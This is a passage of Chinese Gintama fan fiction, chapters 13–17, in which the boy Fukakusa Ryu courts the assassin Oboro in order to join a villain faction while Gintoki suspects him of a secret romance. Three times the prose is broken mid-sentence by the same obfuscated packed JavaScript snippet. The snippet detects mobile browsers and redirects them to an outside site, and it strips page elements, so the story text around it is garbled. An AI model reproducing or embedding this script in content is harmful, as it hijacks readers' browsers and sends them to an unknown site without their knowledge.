黑发红眸的男孩提刀,对准了银白卷毛,面无表情,“你可以开始跑了。” 坂田银时瞪大了眼,瞥见那木刀上残留的血光,一时分辨不出是鱼身上的,还是平时打的,无论哪一个都足够凶残了。 他抖了下,试探解释,“阿琉,你冷静一点,你的就是我的,我的就是你的,所以……” 木刀挥落,发出闷响,以及惨叫。 “啊——!喂,等,啊——!” 远处的高杉晋助和桂小太郎,看见熟悉的你追我打,齐齐沉默了一会。 许久,高杉晋助开口,“小太郎,你说得对,深草琉确实有感情。” 桂小太郎抽了抽嘴角。 “……追杀到天涯海角,真的是正常感情吗。” “当然,执念也很难得。” “晋助,今天被阿琉打中头的人,其实是你吧。” * 摸鱼事件过后,坂田银时三人的行动越来越频繁了。 宛如秉持着有热闹就要凑的理念,带着深草琉到处转。上山捉甲虫、田里摸泥鳅、地里挖野菜、隔壁偷柿子……甚至还混入过结婚的人家,说几句吉祥话,讨了点糖吃。 浩浩荡荡十几个小孩,次数多了,周遭的人也都熟悉了。有的甚至会主动给他们塞点小零嘴。 学堂里孩子们感情也好了起来。 高杉晋助和桂小太郎是后来进入松下私塾,原本与其他人关系不近不远,这会也是能打成一团。 唯一格格不入的,是深草琉。 即使参加了这么多活动,他还是万花丛中过片叶不沾身似的,与除了坂田银时外的人,保持着距离。连附近乡镇里的大人,偶尔也会说这孩子看着有点孤僻,不知道哪里来的。 “阿琉,你很讨厌私塾的其他人吗?” “不讨厌,也不喜欢。” 坂田银时皱了皱眉头,盯着深草琉好一会。 他这个时候就已经表现出,那份异于常人的,仿佛看透人心的笃定了。 “阿琉,对相处多日的人,如果可以当做陌生人一样对待,本身这就是一种不喜欢了。” 深草琉一顿。 他总是会为坂田银时在这种时刻的敏锐感到惊讶。 所以他也不会遮掩,“那我就是不喜欢他们。” “……”坂田银时沉默的时间更长了。 他或许是有什么话想说的,但不知道是出于何种考虑,最终还是什么都没有说。 若无其事,恢复了往日不着调的态度。 只是不再强求深草琉参加他们的活动了。 深草琉没有意见。 随着时间流逝,他隐约能够感觉到剧情点的到来,这些活动中有剧情点的可能性很低,参加是浪费时间。 然后,某一日在松下私塾里,深草琉看见一个遮遮掩掩的陌生少年路过。 “你是谁?” 不起眼的拐角处,他拦住了那人,看见对方浅灰色微卷的头发,和斜着横穿半张脸的长长伤疤。 意外的是,对方目光隐含嫉妒与不甘,还有一些更复杂的情绪,像是对他,或者他代表的什么,饱含了感情。 最后,这个人回答。 “胧。我叫做,胧。” 14. 第 14 章 名为胧的少年,话音刚落。 深草琉听见了期待已久的系统提示。 【反派路线关键人物已出现。解锁部分剧情情报,请查收。】 在胧的视角里,只见到面前古怪的黑发小孩,在听见他的名字后,既不像是天照院奈落内其他人那般恐惧敬畏,也不像是素不相识的人隐隐露出的同情怜悯。 相反,他笑了。 眉眼弯弯,嘴角轻抿,面部的每一处细节都透露出喜悦。 这反应太过不寻常,以至于胧脑中的警戒值一瞬突破顶点,手中银针蓄势待发。 “你终于来了。” 那黑发小孩,或许说,名义上的师弟,却这么说了。 仿佛久别重逢,又仿佛等待已久。 那一刹蕴含的友好与期盼,以至于胧僵硬了一下,竟然没有马上攻击,更没有拂袖而去。 这导致了一个让他颇为后悔的结果。 ——被缠上了。 “你到底想做什么?” 浅灰色长卷发的少年气急败坏,一挥手,银光四射,破空而出。 一排细密的长针插入地面,泛出幽冷的光,却恰好似的,停留在黑发男孩的身前。 没有伤到他分毫,更像是一个警告。 深草琉看了眼那些针,半点不怕。己方势力是不可能对他下死手的,顶多半死不活吧。 于是他坦然道。 “我想和你一起呀。” 莫名其妙的话语,难以理解的行动。 才第一次见面,身份不明来历未知,仅仅一个名字,这小孩怎么会突然对他那样笑,还非要说一起行动,到底有什么企图?! 胧的眉头狠狠蹙起,本就阴沉凶恶的长相,立刻变得更为煞气。 “我不会陪你玩什么小孩子过家家,识相点,就快点给我滚!” 不要出现在他面前,扰乱他的思绪,动摇他的心志! 深草琉不知道胧在烦躁些什么,就算知道也不会管。他又不是真心想来做什么同伴,反派能有几个同伴,不过各自为政,假意联合。 他已经读取了系统提供的信息,得到了两个关键情报。 一、胧是秘密暗杀组织——天照院奈落的一员。 二、胧有个名为“虚”的老师,是他最重要的人。 前面这个情报很明显,结合反派路线关键人物这一点来看,天照院奈落就是深草琉需要加入的反派阵营。 胧则是他加入的契机之类。 毕竟所谓的秘密暗杀组织,恐怕不是随便都能进的。 后面一则情报就有些意思了。 系统不会提供无用情报,既然特地提及这个“虚”,恐怕这个人是重要人物。 胧的年纪看上去比银时他们大两三岁,这个年纪能加入秘密暗杀组织,要么出生就是组织成员,要么就是被引荐。 比如被“虚”,这个所谓最重要的老师。 “虚”,很可能也是天照院奈落的一员,而且地位应该不低,才有资格引荐个小孩子。 按照这些条件推测,深草琉认为,他接下来要做的,应该是让胧帮他牵线搭桥,见到“虚”,通过考核,再加入天照院奈落。 至此,完成从主角身边普通同学,到反派阵营角色的转变。 所以他当然不可能放过胧。 深草琉无视胧的威胁,自顾自开口,“你不是这附近的人吧。我是深草琉,你可以叫我琉。” “别那么自来熟,我才不想认识你!” 浅灰色长卷发的少年极为不耐似的,瞪了他一眼,转身就走。 但没走几步,他额头青筋直冒,狠狠啧了声嘴,终于忍不住,对身后亦步亦趋的人冷声。 “你知道我是什么人吗?只要一眨眼,我就能要了你的小命!” 涉及到性命,黑发男孩似乎终于有了一点敬畏之心,睁大眼盯着他看,又飞快垂下了眼睫。 胧心里的气稍微消了一点,但看对方这副好似委屈的样子,莫名又有点烦躁。 或许是因为这人与老师有关,他想着,又恶声恶气开口。 “知道的话,还不快点滚!” 这下对方总该离远点了吧。 但出乎意料,黑发男孩抬起头,红宝石似的眼睛,阳光下映出浅浅的金,漂亮而澄澈的目光中。 他说,“那你知道我是什么人吗?” 胧被那目光晃到似的,不自在地撇过头,嘴上半点不怂。 “你这种乡野里的小屁孩,还能有什么身份。我没时间陪你玩,你再碍眼,毒针的下一个目的地,就是你的身上了!” 正常的小孩,听到这种威胁,不说吓得屁滚尿流,多少也该抖两下,表示自己的恐惧。 可那名为深草琉的小孩,却不退反进。 他直直朝着胧走了一步,两人之间只剩下半米的范围,也是胧强压着能不出手攻击的极限范围。 两人一高一矮,视线相对。 “你……” 胧的威胁没能说完,面前黑发男孩就脆生生打断了。 “你不是知道我的身份吗?” “什么?” 胧一愣,下一秒脑子闪出的,却是偷偷看见的,化名为吉田松阳的“虚”教导学生的场景。难道这小孩知道他也是“虚”的学生,来攀师兄弟关系? 这不可能…… 除非、除非“虚”提起过他。 微不可查的希冀中,他听见对方说。 “我会是你的同门、同伴、同道。” 深草琉这话说得半点不心虚。 反派与反派之间是有吸引力的,同为反派,胧肯定能够看出他身上相似的气质,只要相处时间久一点,感情提升,被引入“虚”门下。 成为同门、同伴、同道,不过水到渠成。 他说完等着胧的反应。 奇怪的是,胧一瞬间好像受到了什么极大的震撼,瞳孔骤缩,直愣愣盯着他,好半天都说不出话。 “你、你说……我……” 仿佛有许多话堵在口中,又仿佛被激动又担忧的心情击中,脑子都打了结。 胧磕磕绊绊好一会,才吐出一句完整的话来。 “老师,跟你提过我?他……还记得我的事?” 胧是被“虚”在灭门惨案中救下来的孩子。 在“虚”还是天照院奈落的首领时,胧希望能够成为他的弟子。可“虚”一直没有答应,“虚”认为自己沾染太多鲜血,不能做教书育人的老师。 但胧很固执,坚持将“虚”当做自己的老师。 或许是被这份固执打动,又或许是有别的想法,“虚”最终答应成为他的老师,却也为了这一点,从杀人如麻的天照院奈落,带着他逃走了。 逃走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335045|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之路并不简单。胧为了让老师逃走,以身为饵,想要诱导追杀的天照院奈落,却失败了。 天照院奈落杀了他,但没有完全杀死,他因“虚”曾经赐下的血重新活了过来。 “虚”似乎以为他死了,没有再来找他。 无处可去的胧,又回到了天照院奈落。* 胧知道,“虚”还活着,他一直在找他。但没想到会在这样的乡下,见到与印象里完全不同的“虚”。 化名为吉田松阳的“虚”与弟子和乐融融的样子,倒真像是普通而温和的乡下老师了。 可为什么,不来找他? 胧那一刹生出的复杂心情,恐怕比打翻混杂的调味品还要难以分辨。 他心想,或许他是不甘心的,也是难过的。 作为第一个弟子,他在暗处努力,不让天照院奈落察觉到“虚”的所在。 吉田松阳却将他忘得彻底,半点没有在意,好像他根本不存在,好像他根本对那个人没有一点份量。 这一点也不公平。 这份难过没有持续多久,就因突然出现的黑发男孩变了性质。 对方称呼他为同门。 这是不是意味着、意味着,“虚”对自己如今收下的弟子,提到了他的事? 所以这个叫深草琉的小孩才非要缠着他,非要对他这么亲切? 胧为自己这份猜想,不由得心潮澎湃,心跳加速。 他想,如果老师还记得他,他是不是不用这么遮遮掩掩,是不是可以和其他人一起,光明正大站在他身边,是不是可以再次……成为他的弟子? 过去几年压抑的期许,在这一刻尽数蓬勃,沿着碎裂的心灵壁垒,尽数钻了出来。 胧望着深草琉的眼神,炽热得吓人。 好似只要一句话,一个点头,或者任何一个与肯定相关的动作,就能叫他彻底改变,成为另一个人。 深草琉不禁后退了半步。 直觉告诉他,胧的状态非同一般,而且对方口中的老师……不是“虚”吗? 他在这个地方,根本没有什么老师,不对,有一个,确实是老师,只是某种意义上他一直将其当做主角的老师,偷师学艺,没有当做自己的老师,所以第一时间没有想到那个人。 可如果是那个人,不就意味着…… “你是吉田松阳的弟子?” 黑发男孩颇为惊讶的一句话,就让胧的眼眸一瞬间黯淡。 浅灰色波浪卷发的少年攥了下手心。 他拉了下斗笠,遮了上半张脸,只能看见发白的唇色。 语气冷硬也许多。 “与你无关。” 他终究没有说出,完全与吉田松阳撇清关系的话来。 可有时候,这样的回答,足以给出信息。 深草琉从这刻意回避的话里,得出了新的公式——“虚”就是吉田松阳。 他想起吉田松阳那根本不符正常教书先生的身手、彷如无声的脚步,还有异于常人的包容感,只觉得拨云见月,茅塞顿开。 原来如此,吉田松阳是前暗杀组织的人。 那么,胧来到这里,真的是他一开始推测的无意路过吗? 深草琉感觉自己隐约抓到了什么。 他抬头,对一脸恹恹似乎已经不想再说话的少年说。 “你想要吉田松阳,回到你的身边吗?” 15. 第 15 章 深草琉自认摸清了路线。 前秘密暗杀组织成员,“虚”,到如今隐姓埋名藏在乡下教书的吉田松阳。 似乎与其过去有旧,追过来的弟子。 稍微一联想,就能推测出胧会引发的剧情路线——抓捕叛徒,清算过往。 只不过这个叛徒是胧的老师,他需要挣扎一段时间才能下决定。 深草琉如今也不过是提前将这件事点破。 这不是个很难回答的问题,至少他这么觉得。 胧却僵了一下,露出了极为奇怪的表情。 浅灰色波浪卷发的少年,眉头狠狠挤在一起,略带黑眼圈的眼睛瞪着他,似咬牙切齿,又似难以启齿,吐出两个字。 “闭嘴!” 说罢,好像一秒也忍不下去了,扭头就跑。 这回对方的速度快得可怕,身形一晃,一个眨眼就消失不见。和之前轻易被追上的样子截然不同。 深草琉一惊,又不由得拧眉。 “原来,现在才是动真格的?” 看来胧也不是个小角色。 默默提升了胧的剧情地位,深草琉慢慢往回去的方向走,顺手还把地上插着的针拔了,收拢到一起。这些东西要是被吉田松阳看见就不好了,那个男人有时候敏锐得可怕。 他不着急。 胧迟早会再来的。 正如深草琉所想。没过三天,他独自在外面晃悠的时候,面前出现了一个戴着斗笠的少年。对方大半张脸都压在斗笠下,穿着普通的衣服,看着和路过的行人没有区别。 却在与深草琉擦肩而过的时候,低语了一句。 深草琉眉头微微一动,什么都没说,继续自己原本的计划,买了调味料,回到私塾。 过了一会才带着木刀,似乎是散步一样,悠悠哉哉绕去了不远处的一片树林。 这树林不大,林木繁茂,或许是地理位置原因,即使白天也笼罩在不可名状的阴影里,平白比别处要冷个几分。附近的人都说这里大概死过不少人,平时几乎不会靠近。坂田银时更是绕着走。 上次试胆大会他差点选了这里,现在看来倒是不错的私下交谈场所。 深草琉想着,见到依靠在树下的斗笠少年也不惊讶,从容打了招呼。 “找我什么事?” 胧原本从容镇定的脸色一顿,暗灰色的眼瞳扫过深草琉的面容,话也绕了个圈。 “你知道我会来找你?” 深草琉却颇为奇怪地看了他一眼。 “你心有所求,不是吗?” 这几乎不用太多推论,谁叫大多数反派人物都是贪得无厌的家伙,即使知道得不到,也非要争上一争。 胧胸口一闷,他蹙紧眉头,看黑发男孩的目光多了几分微不可查的惊讶。 面前的小孩才几岁?似乎也就七八岁。 之前这小孩出乎意料拦住他,已经叫他惊讶。但那时,他只以为对方自来熟,对谁都是天生笑脸。 可在深草琉问出他是不是想要吉田松阳回到他身边的时候,就不一样了。他当时被戳破了想法太过慌乱,逃走后才有空细细回忆。 这一细想,自然不难注意到,这个名为深草琉的孩子,过分敏锐了。 此时此刻,这份敏锐似乎再次展现。 胧有种微妙的羞耻,或许来自被一个年纪比自己小好几岁的小孩看穿心中想法。 他耳根发红,声音低沉,故作凶恶。 “别说得你多懂我!” “好吧,那你来找我到底什么事?” 仿佛不在意一般,轻飘飘揭过的话茬。 胧感觉很不对劲,明明自己更大,也是他来找这人,怎么主动权好像都被对方拿走了。 他有些憋屈,张了张口,还是说了。 “你……为什么要主动帮我?” “你来找我就是问这个?” 深草琉一瞬间眼里的质疑,似乎叫胧更不舒服,声音不自觉大了些。 “你到底说不说?不说我就走了。” 一副几乎恼羞成怒的样子。 深草琉一愣,却是真的不明白,这人怎么问无关紧要的问题,不问该怎么把吉田松阳搞走的大计。 不过没事,好的反派会引导走错路的同伴。 他略微沉吟,开口道,“如果想带走吉田松阳,你们起码得派出全部的组织力量,不然怕不是制不住他,还有……” “老师才没有那么弱!” 胧下意识反驳了一句,才想起来不对,“我没有说要带走老师!” 黑发红眸的男孩不说话了,但看过来的眼神明晃晃写着“我懂,不用遮掩,我都懂”。 看得胧一瞬间脸色涨红,胸口发闷,咬着牙,愣是说不出什么反驳的话。 袖子里的毒针滑出,又回去。 最后,胧恶狠狠丢下一句“哼”,就像第一次那样,身形一闪,三两下不见了。 深草琉的速度还追不上修习过秘术的暗杀者,只是一眨眼,便又让人跑了。 他拧起眉,颇有些难以理解。 “怎么这就走了?” 这世界的反派不会都这么拉胯吧,连定个计划都磨磨蹭蹭。 如果有天照院奈落的成员看见这一幕,一定颇为惊讶。 名为胧的少年,重回组织,宛如脱胎换骨磨砺出的沉稳与淡漠,在与这个奇怪小孩见面的短短两次,都不存在了一样。 虽然胧坚持不承认想带走吉田松阳,但不知道出于什么心态,还是会时不时路过松下私塾,每次都打扮得和路人无异,好像真的做任务恰巧路过一样。 深草琉当然看得出来这是对方故意放出的饵料。 但偏偏他能彻底转反派路线的线索,在对方身上,即使觉得这人一点儿也不配合,也不得不每次都找过去,多少聊上两句。 次数一多,似乎积累了一点感情。 一个月后的深夜,深草琉正要入睡,就听见不自然的杂音:咚、咚,像是石头被抛到院子里,一下又一下。 如果是坂田银时,多半会觉得是妖怪作祟,但深草琉这段时间与某人相处多了,马上反应过来。 他悄悄起来,避开睡着的坂田银时,披了件衣服,踮着脚绕了出去。 在距离松下私塾十几米远的地方,他见到了胧。 只一眼,深草琉脚步就停了。 沉重夜色与黑色的衣服融为一体,却遮掩不住少年身上浓烈的血腥味。 深灰眼眸死寂,似乎还涌动着浅薄的杀意。 深草琉保持着一个随时能逃走的安全距离,轻声问。 “你喜欢吃大福吗?” 与这个风里都浸透杀意的夜晚完全不符,让人一头雾水的话。 胧怔住。 眼底未曾褪去的煞气,却不知不觉消散了。 他动了动唇。 “不吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340304|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就好。” 深草琉自然而然从衣服里摸出来一块白白胖胖的大福,毫不犹豫塞到了自己嘴里。 然后边嚼嚼嚼,边含混问。 “所以,什么事?” 理直气壮又置身事外,似乎大半夜见到一个浑身血腥气的人,一点也不奇怪。似乎在这样的场景里,若无其事吃大福,更是平常。 胧一时语塞。 “你怎么知道是我?” “除了你还有谁会无聊到半夜找我?” 胧沉默了好一会,才从嘴里吭哧了一句。 “我找你,你就出来了?” “你更希望我不来?” 胧也不知道自己在想什么,抿了抿唇,在望见黑发男孩困惑神色的时候,垂下了眼睫。 “你不害怕我,也不问我这身是怎么来的吗?” “我不喜欢问没有意义的话题。” “你果然……是老师的弟子。”某种意义上,有点相似。 他又说,“我第一次见到老师,也像现在这样狼狈……” 胧也不知道为什么那个时候,会突然把他和老师的事说出来。明明一开始,他打定主意,不会将这件事告诉其他人的。 或许是因为那天他完成任务,在鼻尖萦绕不去的血腥气里一时冲动,叫了深草琉出来,又无话可说。 又或许是因为,深草琉见到他显露的真面目时,那副与往常根本没有区别的样子。 又或许是别的什么。 总之,那个时候,他尽量用平静客观的态度说完那个故事,看向静静听了许久的黑发男孩,自己都不知道在等什么。 而深草琉思索了一会,张口道。 “所以,即使出动所有组织成员,我们也打不过吉田松阳,是吗?” 胧:“……” 胧:“……是。” 深草琉皱眉,拍拍手上的碎屑,有些犯难,“这样一来,我们的计划可能就得缓一缓了,至少等我有赢过吉田松阳的本事,或者想办法削弱……咦?你怎么了?” 不知道怎么回事,眼前的人已经转身,背对着他,还死死攥紧了手心,仿佛在忍耐什么。 浅灰色波浪卷的少年声音低低的,好似从牙缝挤出。 “你除了考虑怎么带走老师,就没有别的想法了吗?” 别的想法? 深草琉思索片刻,恍然大悟,“你说得对,让他主动跟我们走也可以啊!比起费时费力强行带走,主动走肯定更好,不过这个计划需要仔细考虑,比如……” “闭嘴!” 莫名其妙气急败坏的一句丢下。 那道黑色身影静默,与其来时一样,又悄然离去了。 留下一脸不解的深草琉,看着空空如也的地方。 “奇怪的家伙……不过倒是提供了不错的思路。” 虽然慢了一点,但计划总体应该是在顺利推进的。看今天胧满身煞气过来,多半是与暗杀组织有关,说不定要不了多久,就会开展抓捕叛徒吉田松阳的活动了。 深草琉如此计算着,却没有注意到,他这段时间总是出去见胧,导致了一点小小的问题。 晚上躺回被子还没几秒,就有人拍了拍他。 没等回头,对方带着点怨气的声音就先到了耳边。 “阿琉~这大晚上的,你刚刚出去,见了谁啊?” “还有,我藏起来的那块大福,你知道去哪里了吗?” 16. 第 16 章 坂田银时很不高兴。 这份不高兴不是突如其来,而是日积月累。并且很明显,几乎没有掩饰的痕迹,隐约有点等着某个人来哄的意思。 擅长看人眼色的桂小太郎最先发现,后来是学堂里的其他孩子。 就连高杉晋助都会装作无意,问他是不是踩中狗屎了,脸色这么古怪。 偏偏距离最近的那个人完全看不出来。 一副若无其事的样子,自顾自过着平常的生活。 “他根本就不在乎我!” 坂田银时私下抱怨,语气怨憎得像是结婚七年发现妻子日益冷淡的丈夫。 桂小太郎和高杉晋助看热闹不嫌事大,他们早就对深草琉的区别对待不太爽了,这个时候也不想着怎么平息事态,反而火上浇油。 “虽然你失去了阿琉的爱,但你还有他的监护权。银时,不要丧气。” “孩子们就是会在某一天突然讨厌父母的,银时,趁早放手吧。” 银时越听越气,转过身怒视两人,大声反驳,“我才没有被阿琉讨厌!” “这是隔壁片场某人的名台词吧。” 桂小太郎说完,面对坂田银时似乎下一秒会扑上来咬人的嘴脸,终于稍微正视了一下这件事。 “不过你到底在生什么气?阿琉最近什么事都没有做吧?” 自从拒绝参与他们的玩耍活动,深草琉连揍人的次数都少了。 这是件好事,但说来奇怪,桂小太郎稍微有点不适应。好像没有那个在一旁安静看着他们的身影,就少了点什么。 “就因为他什么都不做啊!” 坂田银时想起这段时间深草琉的态度,那股子火气就消不下去。 不和他们一起出去没什么,但连他们每天做了什么,遇见什么,说了什么,深草琉也没有问过。坂田银时甚至怀疑,如果不是住在一起,上课会对打,深草琉都要把他们都当空气了。 桂小太郎皱了皱眉,没有反驳他的说法,只是劝道。 “阿琉一直都是那样的性格,没有什么恶意。他来到人类世界也没有多久,不太懂和人建立联系的方式,也没有学会怎么察言观色。他大概是不知道怎么表达重视,就像之前,也只是一个劲跟着你。” 坂田银时被“重视”这个词抚平了心绪,怒意稍歇。 高杉晋助却笑了一声。 银白卷毛立刻调转枪头,怒目而视。 “你笑什么?想起来输给我的第一百零一场了?” 高杉晋助瞥他一眼,懒洋洋道,“你们倒是会掩耳盗铃。那家伙不会看眼色?我们偷溜去祭典那次,我看他最会看眼色,松阳老师都没有罚他。” 这么一说,坂田银时和桂小太郎也想起来了。当时深草琉的表现,可不像是不会看人脸色的。 那么答案…… 桂小太郎瞅瞅坂田银时凝重的表情,犹豫着开口,“银时,你别想太多,阿琉肯定不是不在乎你,他可能是,额……” “我就知道,果然是这样!” 坂田银时斩钉截铁的一声,盖过了朋友编不下去的安慰。 “啊?”桂小太郎一头雾水。 坂田银时还在满怀自信地说,“阿琉他一定是早恋了!不然他怎么可能抛弃亲爱的爸爸,最近不愿意参加集体活动,偷偷躲在一个人的角落,还时不时不见踪影,肯定是为了见早恋对象,阿银我已经完全看穿了!” “阿琉从蛋壳里出来,满打满算一岁都没有吧。” “……你不觉得这个年纪,他可能对恋爱根本没有概念吗?” 坂田银时冷哼一声。 “你懂什么?隔壁的田中可是三岁开始,就学会偷窥浴室了!阿琉都这么大了,已经是会被某个小女孩骗走一颗懵懂的心的时候了!” 无论桂小太郎和高杉晋助觉得多离谱,坂田银时还是坚持“深草琉早恋”的看法,并表示要把那个早恋对象揪出来。 “揪出来做什么?” 桂小太郎看坂田银时的样子,总觉得比起对早恋的生气,更像是不满于深草琉目光的转移。 在这个学堂里,深草琉最关注的人无疑是坂田银时。他之前一直在想,坂田银时对这份关注应该不在意,所以没有发现深草琉对其他人的冷淡态度,可现在一看,比起不在意,大概是习惯了吧。 习惯从诞生初始,深草琉的目光就频繁停留在他身上。 坂田银时迟疑了一会,似乎是在思考,才又理直气壮道。 “当然是教育阿琉!” 最后话题,还是回到了中心人物。 桂小太郎这一刻心想,产生雏鸟情结的,或许不是深草琉,而是另一个人。 总之,这一场略显无聊的找人行动,瞒着深草琉开始了。 三人分工合作,轮班替换,观察深草琉的行踪,以及见面对象,势必要排查出来那个神秘的“早恋对象”。 这本来该是无功而返的行动,却因真的发现了蛛丝马迹而改变。 “阿琉这段时间,隔几天就会一个人出去,很可能就是去见那个早恋对象了。” “隔几天见一次,可能不是附近的人吧?” “那么,打算怎么做?” “还能怎么做?” 说这话的银白卷发男孩,嘴角一扬,扯出个恶劣的笑。 “当然是让她见识见识可怕家长委员会的力量!” “……这种话一般是女方爸爸该说的吧。” “这种时候男孩女孩根本没有关系!” 松下私塾的三人绕循着那点蛛丝马迹,以为能很快找到神秘的早恋对象,结果每次不是被深草琉半途甩了,就是找过去也没见人影,奇怪得很。 “怎么回事?难道阿琉根本没有见别人,只是想找个独处的地方吗?” 桂小太郎的疑问刚刚提出,就被坂田银时一口否决了。 “每次独处的地方都不一样,肯定是为了掩人耳目!看来他这个对象,有见不得人的秘密。” “能有什么秘密,啊,或许是年纪很大的老婆婆?或者流落风尘不能露面的大姐姐?” “不,阿银我不允许不纯洁交往!阿琉还这么小,怎么能做这种事?” 两人吵吵嚷嚷的声音中,作壁上观的高杉晋助突然出声。 “如果对方不是人呢?” “哈——?” 随着倒吸一口凉气,高杉晋助看见两位同窗惊恐又怀疑的眼神,马上明白这两人想歪了。 “深草才出生没多久,性向不好说,他喜欢的对象,万一是只鸟呢。他每次去的地方,不是繁茂的密林,就是人烟稀少的荒野,比起人类,动物可能性更大吧。” 他绷紧脸,赶紧解释,生怕再晚一秒自己就被当做奇怪的XP。 但没有用处。 坂田银时的眼神就不说了,简直是在看人渣。就连一贯要好的桂小太郎,也不着痕迹退开了半步。 高杉晋助:“……”我就多余开口。 在提供了新的思考方向后,尽管坂田银时不愿意,三人也朝着这个方向调查了一番。但结果依旧不然尽如人意。 因为桂小太郎每次都会明里暗里说,有可能这个早恋对象不存在。 时间久了,坂田银时也有点怀疑自己的判断,思考是不是不该到处乱找,而是直接去问深草琉在做什么。 “所以,你到底为什么不直接问阿琉?” 面对桂小太郎的问题,某银白卷毛哼了一声,“阿琉看起来像是那种问什么说什么的乖孩子吗?” 无人反驳。 于是就此作罢。 行动一度陷入颓靡,直到今夜,坂田银时模模糊糊,伴着香甜的大福味道入睡,却在察觉到味道消失时,猛然惊醒。 他回头,看见旁边空荡荡的床榻,说不清那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347509|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间是什么样的心情。 但质问是不可少的。 抓住了半夜偷跑出去的黑发男孩,坂田银时严肃着脸,学习生气的吉田松阳,声音压低,颇有风雨欲来的意味。 “所以,我的大福去哪里了?” 深草琉沉默了一下,没想到会被抓包。 “那不是你的,是我的。” 他不说倒好,一说坂田银时颇感委屈,声音大了起来。 “你不是不喜欢吃这个吗?” 松下私塾里孩子多,吉田松阳偶尔会去买甜点回来,当做努力学习的奖励。但这种奖励不算多,每次都算得上珍贵。坂田银时这种甜党更是珍惜得不得了,吃完自己的还会觊觎其他人。 别人当然不会给他,但深草琉不一样。 从蛋壳里出生的小天人对什么食物没有明显偏好,收到甜点也不会马上吃,反而会好好收起来。 所以坂田银时都能轻易从深草琉这里要到。 为此还被桂小太郎他们笑了几句“爸爸蹭儿子的东西吃”,坂田银时当然厚着脸皮不在乎,但深草琉似乎有什么想法,不再当场给他,变成了第二天才会给他。 结果这次半夜出去一趟,就没有了! 深草琉微微蹙眉,他之前就担心让坂田银时养成习惯,看来还是晚了,他不该将自己无所谓的东西让出去。 “我吃掉了。”他平静道。 “我不信,你是不是在外面有别人了?” 大半夜的还没睡,小孩子的体质撑不住。以至于坂田银时问话的时候,眼里的血丝格外明显,仿佛崩溃的线团。 深草琉被这仿佛质问出轨妻子的话惊住,下意识重复了一遍。 “真的是我吃掉了。” 他抬起手,靠近坂田银时。 有一瞬间,坂田银时以为深草琉想摸他的脸,但过了一会,才反应过来,对方是叫他闻手上残留的味道。 浅淡的香气,微甜,在风中过了一会,残留不多,但确实是大福。 “这根本不算证据。”坂田银时大呼小叫,“黏糊糊的情侣最喜欢互相喂食了!” “……” 深草琉已经不想继续这种无聊的论证了。 他拉上被子,盖过头顶,翻了个身,背对某银白卷毛。 对方却不依不饶,又来拽他的被子,又是喊着“今天必须为大福有个交代”之类奇怪的话。 深草琉额头青筋直跳。 他不可能将与胧的见面说出来。为了以后的大计,这一切必须在暗处完成。但今天不搞定坂田银时,恐怕就没有个好觉了。 “明天告诉你。” 裹得紧紧的被子里,黑发散乱的男孩闷闷的声音传来出来。 坂田银时一愣,手上的劲儿也松了。 “真的?” “嗯。” 坂田银时呆了一下。 他好像没了继续闹腾的理由,与想象不同,阿琉愿意将自己的秘密告诉他。 这本来是好事,这应该是好事,这似乎是好事的。 银白卷发的男孩盯了没动静的人一会,躺回了自己的铺,听见旁边逐渐均匀的呼吸。 秋季空寂的夜晚,连虫鸣都稀疏,唯有情绪在黑暗中放大,扩散,又回到只有自己知晓的胸腔。 其实他并不是对自己的异常一无所知。起码他知道,他闹了这么久,那股不满到底因何而出。 许久,一道声音随着夜风响起。 “阿琉,你知道吗?无论多亲密的关系,长大后,说着选择自己的道路,大家就会分开了。” “我们一起走过的路,或许只是遥远到模糊的记忆里,微不足道的一小段。” “所以……不要走那么快。等等我,好不好?” 没有人回答。 声音又散入风中。 唯有某个瞬间,有人呼吸仿佛慢了一下。 17. 第 17 章 第二天,深草琉给出了解释。 ——一盘子五个大福,白白胖胖,软软糯糯堆在一起,像是一座柔软山丘。 放在往常,绝对会是轻易令甜党倾倒、甜食控拜服的解释。 坂田银时鼓着腮帮子,嘴角沾着奶油,一面嚼嚼嚼,一面伸手去拿新的大福,接连塞了三个,那副狼吞虎咽的气势才停了下来。 倒不是他吃不下,只是那两个大福,被桂小太郎和高杉晋助眼疾手快,抢去了。 坂田银时拱起腰,发出了对侵略者的威胁哈气,“还回来!那是阿银的!” “既然是阿琉请客,我们当然能吃。” 桂小太郎熟知坂田银时秉性,抢走的瞬间就塞到嘴里吃了。 半秒的犹豫都是对坂田银时的不尊重。 高杉晋助同样,虽然他对甜食没什么兴趣,但能看见坂田银时吃瘪的表情,就回本了。 “你们这群强盗!死后一定会被放在火上烤,再吞一千根针!” “吞一千根针的是说谎的人吧。” 